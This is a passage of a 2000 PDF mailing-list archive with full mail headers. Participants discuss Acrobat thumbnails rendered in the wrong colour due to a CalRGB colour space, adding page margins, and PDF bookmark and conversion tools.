8 Dec 2000 16:33:47 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id QAA13701; Fri, 8 Dec 2000 16:33:46 -0600 Received: from mapsoft.com (mapsoft.com [216.122.180.57]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id QAA13697 for ; Fri, 8 Dec 2000 16:33:45 -0600 Received: by mapsoft.com (8.9.3/8.9.3) id WAA07012; Fri, 8 Dec 2000 22:47:04 GMT Date: Fri, 8 Dec 2000 22:47:04 GMT Message-Id: <200012082247.WAA07012@mapsoft.com> From: Michael Peters To: pdf@lists.pdfzone.com References: <6825214BF975D111A7B50000F86328BC038C13D2@garnet.main.gpo.gov> In-Reply-To: <6825214BF975D111A7B50000F86328BC038C13D2@garnet.main.gpo.gov> MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 8bit User-Agent: IMP/PHP3 Imap webMail Program 2.0.11 X-Originating-IP: 213.123.74.101 Subject: Re: [PDF] Adding margins to PDF's Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Quoting DUDGEON@britbio.co.uk > > > > I'm wanting to scan documents into PDF, ... I can't figure > > out how to add a margin around the scanned image (I can crop > > the page, but not add to it)... > Our product Mediasizer will enable you to increase the media size of your PDF files to a fixed size. Please see our products page at http://www.mapsoft.com/products.htm for more details. Regards Michael Peters Mapsoft Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 9-Dec-2000 12:53:09-GMT,2952;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id FAA17546 for ; Sat, 9 Dec 2000 05:53:08 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id GAA17763; Sat, 9 Dec 2000 06:52:42 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Sat, 9 Dec 2000 06:41:44 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id GAA17344; Sat, 9 Dec 2000 06:41:42 -0600 Received: from bird.de.uu.net (bird.de.uu.net [193.101.111.15]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id GAA17340 for ; Sat, 9 Dec 2000 06:41:40 -0600 Received: from schuitz.com (pec-184-212.tnt13.me.uunet.de [149.225.184.212]) by bird.de.uu.net (5.5.5/5.5.5) with ESMTP id NAA13617 for ; Sat, 9 Dec 2000 13:41:38 +0100 (MET) Message-ID: <3A2F9380.2EC62F8@schuitz.com> Date: Thu, 07 Dec 2000 14:41:20 +0100 From: Schuitz Grafik Design X-Mailer: Mozilla 4.6 [de] (Win95; I) X-Accept-Language: de MIME-Version: 1.0 To: pdf@lists.pdfzone.com Subject: [PDF] Wrong colored thumbnails - another try Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Hello out there, since there was no answer three weeks ago when I asked this question first time it looks like I'm the only one in the world with the wrong colored thumbnail effect... ;-) Maybe I make something really principal wrong? When I try to create thumbnails with the Acrobat 4.05c for Windows (I tryed on 95,98 and 2000, Win98 sometimes work) the colors in the thumbnails don't match the colors in the pdf-pages. A white page produces a grey pixeled thumbnail or even worse a light magenta. It looks like the Acrobat picks up the colors of the page and chooses the nearest color out of a 16 color palette which doesn't match very well. The problem occors, when I have to create the thumbnails from the already processd pdf-file and where a source (e.g. a Quark file) is not available. It occur also, when I send the pdf again through the distiller, option ""included creation of thumbnails"" set. The problem does not occur, when I have a source file like Quark-Express and can produce pdf and thumbnails at once. Thanks for any idea, Raimund Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 9-Dec-2000 14:24:03-GMT,2265;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id HAA19352 for ; Sat, 9 Dec 2000 07:24:02 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id IAA21428; Sat, 9 Dec 2000 08:23:54 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Sat, 9 Dec 2000 08:17:47 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id IAA21199; Sat, 9 Dec 2000 08:17:46 -0600 Received: from quite.com (host15.quite.com [193.131.11.80]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id IAA21195 for ; Sat, 9 Dec 2000 08:17:44 -0600 Received: from gateway (gateway.quite.com [193.131.11.81]) by quite.com (8.8.7/8.8.7) with SMTP id OAA01905 for ; Sat, 9 Dec 2000 14:17:43 GMT From: ""Aandi Inston"" To: Subject: RE: [PDF] Wrong colored thumbnails - another try Date: Sat, 9 Dec 2000 14:17:39 -0000 Message-ID: <000e01c061ea$cb2f7360$510b83c1@gateway.quite.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Importance: Normal In-Reply-To: <3A2F9380.2EC62F8@schuitz.com> Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ > since there was no answer three weeks ago when I asked this question > first time it looks like I'm the only one in the world with the wrong > colored thumbnail effect... ;-) The first one I've ever heard from. Aandi Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 9-Dec-2000 21:03:18-GMT,2177;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id OAA28045 for ; Sat, 9 Dec 2000 14:03:17 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id PAA02070; Sat, 9 Dec 2000 15:02:49 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Sat, 9 Dec 2000 14:54:55 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id OAA01523; Sat, 9 Dec 2000 14:54:52 -0600 Received: from bird.de.uu.net (bird.de.uu.net [193.101.111.15]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id OAA01519 for ; Sat, 9 Dec 2000 14:54:51 -0600 Received: from schuitz.com (pec-183-87.tnt12.me.uunet.de [149.225.183.87]) by bird.de.uu.net (5.5.5/5.5.5) with ESMTP id VAA17601 for ; Sat, 9 Dec 2000 21:54:49 +0100 (MET) Message-ID: <3A329C16.82F8CD23@schuitz.com> Date: Sat, 09 Dec 2000 21:54:46 +0100 From: Schuitz Grafik Design X-Mailer: Mozilla 4.6 [de] (Win95; I) X-Accept-Language: de MIME-Version: 1.0 To: pdf@lists.pdfzone.com Subject: Re: [PDF] Wrong colored thumbnails - another try References: <000e01c061ea$cb2f7360$510b83c1@gateway.quite.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Hello, thanks for respond, I have put a 5KByte-sample here: http://www.schuitz.com/error.pdf The thumnail appears magenta, at least on my machines here... Raimund > The first one I've ever heard from. > > Aandi Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 9-Dec-2000 21:51:50-GMT,2629;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id OAA29080 for ; Sat, 9 Dec 2000 14:51:49 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id PAA04883; Sat, 9 Dec 2000 15:51:43 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Sat, 9 Dec 2000 15:45:52 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id PAA04647; Sat, 9 Dec 2000 15:45:38 -0600 Received: from quite.com (host15.quite.com [193.131.11.80]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id PAA04642 for ; Sat, 9 Dec 2000 15:45:36 -0600 Received: from gateway (gateway.quite.com [193.131.11.81]) by quite.com (8.8.7/8.8.7) with SMTP id VAA02472 for ; Sat, 9 Dec 2000 21:45:44 GMT From: ""Aandi Inston"" To: Subject: RE: [PDF] Wrong colored thumbnails - another try Date: Sat, 9 Dec 2000 21:45:34 -0000 Message-ID: <000001c06229$5d0a2120$510b83c1@gateway.quite.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 Importance: Normal In-Reply-To: <3A329C16.82F8CD23@schuitz.com> X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ > I have put a 5KByte-sample here: http://www.schuitz.com/error.pdf > The thumnail appears magenta, at least on my machines here... I can report that the same thing happens on my Windows 98 machine if I re-make the thumbnail. Still, never seen it on any other document. The area which goes a strange colour (more of a lavender here) is a colour of 1,1,1 in a colour space of CalRGB Gamma=0.222 WhitePoint=[0.9505 1 1.089] Matrix=[0.4124 0.2126 0.0193 0.3576 0.7152 0.1192 0.1805 0.0722 0.9505]. I don't know if that is especially unusual. No suggestions as to why, sorry. Aandi Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 10-Dec-2000 2:23:42-GMT,15539;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id TAA05013 for ; Sat, 9 Dec 2000 19:23:41 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id UAA14127; Sat, 9 Dec 2000 20:23:26 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Sat, 9 Dec 2000 20:16:32 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id UAA13903; Sat, 9 Dec 2000 20:16:31 -0600 Received: from zoon.lafn.org (zoon.lafn.org [206.117.18.9]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id UAA13899 for ; Sat, 9 Dec 2000 20:16:28 -0600 Received: from ICC (cs-lake1-p42.lafn.org [192.168.11.42] (may be forged)) by zoon.lafn.org (8.10.1/8.10.1) with SMTP id eBA2GOO18741 for ; Sat, 9 Dec 2000 18:16:25 -0800 (PST) Message-ID: <001201c0624e$f58e78e0$2a0ba8c0@ICC> From: ""Stephen Richard Levine"" To: References: <200012092054.OAA01542@everglades.binc.net> Subject: [PDF] Re: pdf-digest for December-9-2000 [V2 #945] Date: Sat, 9 Dec 2000 18:14:42 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ ----- Original Message ----- From: pdf-digest To: Sent: Saturday, December 09, 2000 12:54 PM Subject: pdf-digest for December-9-2000 [V2 #945] > pdf-digest Saturday, December 9 2000 Volume 02 : Number 945 > > > > ---------------------------------------------------------------------- > > > There are 9 messages totalling 552 lines in this issue. > > Topics of the Day: > > 1. RE: [PDF] PDF Question (fwd) > 2. [PDF] Anything to PDF in a Notes database > 3. Re: [PDF] Anything to PDF in a Notes database > 4. Re: [PDF] PDF Question (fwd) > 5. [PDF] Re: javascript 'delay' code? > 6. Re: [PDF] Adding margins to PDF's > 7. [PDF] Wrong colored thumbnails - another try > 8. RE: [PDF] Wrong colored thumbnails - another try > 9. Re: [PDF] Wrong colored thumbnails - another try > > __________________________________________________________ > This is the Digest of the PDF discussion list > A service provided to the PDF Community by PDFzone.com > <- Search more than 300 plug-ins and tools for Acrobat -> > <- http://www.pdfzone.com/products/software/toolfilter.html -> > __________________________________________________________ > > ---------------------------------------------------------------------- > > Date: Fri, 8 Dec 2000 19:39:55 -0000 > From: ""Aandi Inston"" > Subject: RE: [PDF] PDF Question (fwd) > > The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com > __________________________________________________________________ > > > > The basic function for above question would be for web users to make > > changes to forms, currently, the user needs to download about > > 2 MB file > > everytime the user wants to make a change is there any > > compression tool > > How would web bookmarks help with this aim? > > > > which you know of that can compress the size so that users do not have > > to wait for the download. > > What is it you want to compress, and why is it so large? > > Aandi > > Receive the latest PDF News in your Inbox. > > - ------------------------------------------------------------------------ ---- > > ------------------------------ > > Date: Fri, 08 Dec 2000 15:19:47 -0500 > From: ""Michael Kies, Delex NKT"" > Subject: [PDF] Anything to PDF in a Notes database > > The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com > __________________________________________________________________ > > Hello, > > This may be a little off topic, but please bear with me. > > Does anybody know of any application or tool that could go through a > Lotus Notes R4 or R5 database and convert various files in PPT, Word > DOC, etc... to PDF format automatically or an a scheduled basis (and > also update links to those documents). I'm trying to find a way to > decrease bandwidth for Notes pages accessed via Notes Domino over a > variety of communications circuits. Keep in mind that the Lotus Notes > file structure is different from a normal website - things that might > work with IIS, FrontPage, or Dreamweaver probably won't work here. > > Thanks in advance, > Michael Kies > > > Receive the latest PDF News in your Inbox. > > - ------------------------------------------------------------------------ ---- > > ------------------------------ > > Date: Fri, 8 Dec 2000 14:32:58 -0600 > From: ""Katrina Haggerty"" > Subject: Re: [PDF] Anything to PDF in a Notes database > > The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com > __________________________________________________________________ > > > Our company is looking at a product called ""Hypernet"". I can't vouch for > it but it is suppose to do what you are asking for. > > Katrina Haggerty > MasterCard International > (All comments are my own.) > > > > ""Michael Kies, > Delex NKT"" To: pdf@lists.pdfzone.com > .net> Subject: [PDF] Anything to PDF in a Notes database > Sent by: > owner-pdf@lists.p > dfzone.com > > > 12/08/00 02:19 PM > Please respond to > pdf > > > > > > > The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com > __________________________________________________________________ > > Hello, > > This may be a little off topic, but please bear with me. > > Does anybody know of any application or tool that could go through a > Lotus Notes R4 or R5 database and convert various files in PPT, Word > DOC, etc... to PDF format automatically or an a scheduled basis (and > also update links to those documents). I'm trying to find a way to > decrease bandwidth for Notes pages accessed via Notes Domino over a > variety of communications circuits. Keep in mind that the Lotus Notes > file structure is different from a normal website - things that might > work with IIS, FrontPage, or Dreamweaver probably won't work here. > > Thanks in advance, > Michael Kies > > > Receive the latest PDF News in your Inbox. > > - ------------------------------------------------------------------------ ---- > > > > > > > Receive the latest PDF News in your Inbox. > > - ------------------------------------------------------------------------ ---- > > ------------------------------ > > Date: Fri, 8 Dec 2000 15:37:37 -0500 > From: Leonard Rosenthol > Subject: Re: [PDF] PDF Question (fwd) > > The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com > __________________________________________________________________ > > At 6:37 PM +0000 12/8/00, David Brailsford wrote: > >The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com > >I'm implementing a toolkit for a web-based application, which uses PDF > >bookmarks pointing to URLs. However, these bookmarks need to be added > >dynamically at runtime, or, at least, I need to be able to concatenate > >several PDF Documents, each with its own set of bookmarks into a single > >large PDF. > > Seems completely reasonable. > > > >I looked at PDFLib, which doesn't support Web-link bookmarks, > >and PJ and PjScript. I could implement the routines using PJ's low level > >API, but I would prefer to use a higher-level API if one is available. > >Do you know of such a toolkit which I can use ? We're deploying on > >Linux servers, so I would need something that can be accessed from Java > >on Linux. That rules out all the Windows NT/2000 toolkits out there... > > You want AppendPDF or AppendPDF Pro from Digital Applications > (). They are command line applications which > will happily merge/append PDF documents together maintain existing > books and/or adding new ones. > > If you want an actual toolkit or library to do this, Digital > Applications also provides their SPDF library, which is the > toolkit/library on which their product are based. It can be licensed > either in binary or source. > > > > Leonard > - -- > - ------------------------------------------------------------------------ ---- > Leonard Rosenthol > Sr. Software Engineer (215) 922-3509 (voice) > Digital Applications (215) 440-0504 (fax) > > PGP Fingerprint: 8CC9 8878 921E C627 0BC1 15BB FC19 64A9 0016 1397 > > > > Receive the latest PDF News in your Inbox. > > - ------------------------------------------------------------------------ ---- > > ------------------------------ > > Date: Fri, 8 Dec 2000 18:24:46 +0100 > From: Max Wyss > Subject: [PDF] Re: javascript 'delay' code? > > The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com > __________________________________________________________________ > > Bob, > > there is no documented method to add delays in script execution. > > However, you might look at what exists in the Netscape Client-side > extensions... > > Hope, this can help. > > > Max Wyss > PRODOK Engineering > Low Paper workflows, Smart documents, PDF forms > CH-8906 Bonstetten, Switzerland > > Fax: +41 1 700 20 37 > e-mail: mailto:max@prodok.com > http://www.prodok.com > > > > [ Building Bridges for Information ] > > > ______________________ > > > > > > >Would anyone be willing to share with me the javascript code for > >creating a programmable delay in script execution? > >(Tis' the... season, right?) > > > > > Receive the latest PDF News in your Inbox. > > - ------------------------------------------------------------------------ ---- > > ------------------------------ > > Date: Fri, 8 Dec 2000 22:47:04 GMT > From: Michael Peters > Subject: Re: [PDF] Adding margins to PDF's > > The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com > __________________________________________________________________ > > Quoting DUDGEON@britbio.co.uk > > > > > > > I'm wanting to scan documents into PDF, ... I can't > figure > > > out how to add a margin around the scanned image (I > can crop > > > the page, but not add to it)... > > > Our product Mediasizer will enable you to increase the > media size of your PDF files to a fixed size. Please > see our products page at > http://www.mapsoft.com/products.htm for more details. > > Regards > Michael Peters > Mapsoft > > Receive the latest PDF News in your Inbox. > > - ------------------------------------------------------------------------ ---- > > ------------------------------ > > Date: Thu, 07 Dec 2000 14:41:20 +0100 > From: Schuitz Grafik Design > Subject: [PDF] Wrong colored thumbnails - another try > > The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com > __________________________________________________________________ > > Hello out there, > since there was no answer three weeks ago when I asked this question > first time it looks like I'm the only one in the world with the wrong > colored thumbnail effect... ;-) Maybe I make something really principal > wrong? > > When I try to create thumbnails with the Acrobat 4.05c for Windows (I > tryed on 95,98 and 2000, Win98 sometimes work) the colors in the > thumbnails don't match the colors in the pdf-pages. A white page > produces a grey pixeled thumbnail or even worse a light magenta. It > looks like the Acrobat picks up the colors of the page and chooses the > nearest color out of a 16 color palette which doesn't match very well. > The problem occors, when I have to create the thumbnails from the > already processd pdf-file and where a source (e.g. a Quark file) is not > available. It occur also, when I send the pdf again through the > distiller, option ""included creation of thumbnails"" set. > > The problem does not occur, when I have a source file like Quark-Express > and can produce pdf and thumbnails at once. > > Thanks for any idea, Raimund > > > > > > Receive the latest PDF News in your Inbox. > > - ------------------------------------------------------------------------ ---- > > ------------------------------ > > Date: Sat, 9 Dec 2000 14:17:39 -0000 > From: ""Aandi Inston"" > Subject: RE: [PDF] Wrong colored thumbnails - another try > > The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com > __________________________________________________________________ > > > since there was no answer three weeks ago when I asked this question > > first time it looks like I'm the only one in the world with the wrong > > colored thumbnail effect... ;-) > > The first one I've ever heard from. > > Aandi > > Receive the latest PDF News in your Inbox. > > - ------------------------------------------------------------------------ ---- > > ------------------------------ > > Date: Sat, 09 Dec 2000 21:54:46 +0100 > From: Schuitz Grafik Design > Subject: Re: [PDF] Wrong colored thumbnails - another try > > The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com > __________________________________________________________________ > > Hello, thanks for respond, > > I have put a 5KByte-sample here: http://www.schuitz.com/error.pdf > > The thumnail appears magenta, at least on my machines here... > Raimund > > > > The first one I've ever heard from. > > > > Aandi > > > Receive the latest PDF News in your Inbox. > > - ------------------------------------------------------------------------ ---- > > ------------------------------ > > End of pdf-digest V2 #945 > ************************* > > Receive the latest PDF News in your Inbox. > > Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 10-Dec-2000 11:53:00-GMT,2649;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id EAA17248 for ; Sun, 10 Dec 2000 04:52:58 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id FAA32172; Sun, 10 Dec 2000 05:52:48 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Sun, 10 Dec 2000 05:44:51 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id FAA31812; Sun, 10 Dec 2000 05:44:49 -0600 Received: from mail.cstone.net (mail.cstone.net [209.145.64.80]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id FAA31808 for ; Sun, 10 Dec 2000 05:44:48 -0600 Received: from 9nlvx (ip123.seattle14.wa.pub-ip.psi.net [38.28.97.123]) by mail.cstone.net (8.11.1/8.11.1) with SMTP id eBABhNm65846 for ; Sun, 10 Dec 2000 06:43:23 -0500 (EST) Message-Id: <3.0.1.32.20001210034610.007c6100@cstone.net> X-Sender: usn@cstone.net X-Mailer: Windows Eudora Pro Version 3.0.1 (32) Date: Sun, 10 Dec 2000 03:46:10 -0800 To: pdf@lists.pdfzone.com From: Maury Subject: [PDF] Re: Wrong colored thumbnails-another try = lavender In-Reply-To: <3A329C16.82F8CD23@schuitz.com> References: <000e01c061ea$cb2f7360$510b83c1@gateway.quite.com> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ At 09:54 PM 12/9/00 +0100, you wrote: > >The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com >__________________________________________________________________ > >Hello, thanks for respond, > >I have put a 5KByte-sample here: http://www.schuitz.com/error.pdf > >The thumnail appears magenta, at least on my machines here... I see it as lavender.--Maury >Raimund > > >> The first one I've ever heard from. >> >> Aandi > > >Receive the latest PDF News in your Inbox. > >---------------------------------------------------------------------------- > > Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 10-Dec-2000 14:52:43-GMT,3534;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id HAA20688 for ; Sun, 10 Dec 2000 07:52:41 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id IAA05420; Sun, 10 Dec 2000 08:52:23 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Sun, 10 Dec 2000 08:41:22 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id IAA05007; Sun, 10 Dec 2000 08:41:20 -0600 Received: from ns.revealed.net (mail.revealed.net [205.243.76.2]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id IAA05003 for ; Sun, 10 Dec 2000 08:41:19 -0600 Received: from cygalley ([208.243.237.30]) by ns.revealed.net (Post.Office MTA v3.5.3 release 223 ID# 0-58799U8000L800S0V35) with SMTP id net for ; Sun, 10 Dec 2000 08:40:03 -0600 Message-ID: <009001c062b7$ce5ccf60$1eedf3d0@cygalley> From: ""Cy Galley"" To: References: <000e01c061ea$cb2f7360$510b83c1@gateway.quite.com> <3.0.1.32.20001210034610.007c6100@cstone.net> Subject: Re: [PDF] Re: Wrong colored thumbnails-another try = lavender Date: Sun, 10 Dec 2000 08:45:01 -0600 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Me too! I think that the thumbnail is shaded so as to show it location as white does not print. or show on the screen. Cy Galley - Editor, B-C Contact! (Click here to visit our Club site at http://www.bellanca-championclub.com) ----- Original Message ----- From: ""Maury"" To: Sent: Sunday, December 10, 2000 5:46 AM Subject: [PDF] Re: Wrong colored thumbnails-another try = lavender > > The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com > __________________________________________________________________ > > At 09:54 PM 12/9/00 +0100, you wrote: > > > >The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com > >__________________________________________________________________ > > > >Hello, thanks for respond, > > > >I have put a 5KByte-sample here: http://www.schuitz.com/error.pdf > > > >The thumnail appears magenta, at least on my machines here... > > > I see it as lavender.--Maury > > > > >Raimund > > > > > >> The first one I've ever heard from. > >> > >> Aandi > > > > > >Receive the latest PDF News in your Inbox. > > > >--------------------------------------------------------------------------- - > > > > > > Receive the latest PDF News in your Inbox. > > -------------------------------------------------------------------------- -- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 10-Dec-2000 16:23:54-GMT,2859;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id JAA22567 for ; Sun, 10 Dec 2000 09:23:53 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id KAA08678; Sun, 10 Dec 2000 10:23:37 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Sun, 10 Dec 2000 10:15:27 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id KAA08359; Sun, 10 Dec 2000 10:15:21 -0600 Received: from bird.de.uu.net (bird.de.uu.net [193.101.111.15]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id KAA08347 for ; Sun, 10 Dec 2000 10:15:14 -0600 Received: from schuitz.com (pec-187-237.tnt14.me.uunet.de [149.225.187.237]) by bird.de.uu.net (5.5.5/5.5.5) with ESMTP id RAA07032 for ; Sun, 10 Dec 2000 17:15:08 +0100 (MET) Message-ID: <3A33AC09.364E80C4@schuitz.com> Date: Sun, 10 Dec 2000 17:15:05 +0100 From: Schuitz Grafik Design X-Mailer: Mozilla 4.6 [de] (Win95; I) X-Accept-Language: de MIME-Version: 1.0 To: pdf@lists.pdfzone.com Subject: Re: [PDF] Re: Wrong colored thumbnails-another try = lavender References: <000e01c061ea$cb2f7360$510b83c1@gateway.quite.com> <3.0.1.32.20001210034610.007c6100@cstone.net> <009001c062b7$ce5ccf60$1eedf3d0@cygalley> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Thanks Maury, Andy, Cy and others out there for thinking about, I found out something: When I pick up the ""white"" square behind the text of http://www.schuitz.com/error.pdf with Enfocus PowerUp Tool it says it's calibrated RGB. When I then convert it to CMYK I can delete and recreate the thumbnail and it is correct. The problem: I cant find a setting in Acrobat to say something like ""pay attention to RGB"" and I cant convert all stuff in the big PDF-Files to CMYK, they are already full of links, bookmarks and annotations and I would loose them when I send the files again through the distiller. On the other hand, often a source from where the pdf was produced is not available any more. I'll contimue experimenting... :-) Raimund > > Me too! I think that the thumbnail is shaded Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 11-Dec-2000 7:37:48-GMT,4006;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id AAA13221 for ; Mon, 11 Dec 2000 00:37:47 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id BAA07155; Mon, 11 Dec 2000 01:37:16 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Mon, 11 Dec 2000 01:29:18 